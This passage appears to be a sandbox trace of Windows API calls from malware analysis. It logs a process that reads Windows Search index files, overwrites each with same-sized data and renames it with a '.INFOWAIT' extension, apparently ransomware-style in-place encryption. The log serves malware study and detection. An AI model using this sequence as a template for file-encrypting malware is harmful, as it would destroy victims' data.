Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.031] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0131.031] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.032] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.032] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0131.190] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.194] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.194] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0131.194] CloseHandle (hObject=0xad0) returned 1 [0131.194] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002" [0131.194] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002.INFOWAIT" [0131.194] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.002.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.002.infowait")) returned 1 [0131.195] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.196] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.197] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.197] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\settings.dia"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.197] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4 [0131.197] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.197] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.198] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4, lpOverlapped=0x0) returned 1 [0131.199] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.199] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.199] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4, lpOverlapped=0x0) returned 1 [0131.199] CloseHandle (hObject=0xad0) returned 1 [0131.199] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA" [0131.200] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA.INFOWAIT" [0131.200] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\settings.dia"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\SETTINGS.DIA.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\settings.dia.infowait")) returned 1 [0131.200] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.201] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.201] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.201] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.201] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf0 [0131.201] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.201] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.202] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf0, lpOverlapped=0x0) returned 1 [0131.203] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.203] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.203] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf0, lpOverlapped=0x0) returned 1 [0131.203] CloseHandle (hObject=0xad0) returned 1 [0131.203] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" [0131.203] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000.INFOWAIT" [0131.203] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000.infowait")) returned 1 [0131.204] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.205] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.205] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.205] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0131.206] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0131.206] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.206] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.206] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0131.303] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.307] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.307] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0131.307] CloseHandle (hObject=0xad4) returned 1 [0131.307] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" [0131.307] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001.INFOWAIT" [0131.307] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001.infowait")) returned 1 [0131.308] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.309] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.309] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.309] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0131.310] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0131.310] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.310] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.310] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0131.319] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.324] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.324] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0131.325] CloseHandle (hObject=0xad4) returned 1 [0131.325] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" [0131.325] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002.INFOWAIT" [0131.325] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002.infowait")) returned 1 [0131.329] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.330] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.331] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.331] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.332] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf0 [0131.332] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.332] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.332] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf0, lpOverlapped=0x0) returned 1 [0131.333] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.334] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.334] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf0, lpOverlapped=0x0) returned 1 [0131.334] CloseHandle (hObject=0xad0) returned 1 [0131.334] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" [0131.334] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000.INFOWAIT" [0131.334] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000.infowait")) returned 1 [0131.334] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.335] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.335] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.335] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.336] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0131.336] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.336] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.336] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0131.354] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.358] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.358] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0131.358] CloseHandle (hObject=0xad0) returned 1 [0131.358] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" [0131.358] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001.INFOWAIT" [0131.358] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001.infowait")) returned 1 [0131.359] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.360] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.360] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0131.360] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0131.360] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0131.361] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.361] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0131.393] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.399] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.399] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0131.400] CloseHandle (hObject=0xad0) returned 1 [0131.400] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002") returned="C:\\Users\\All 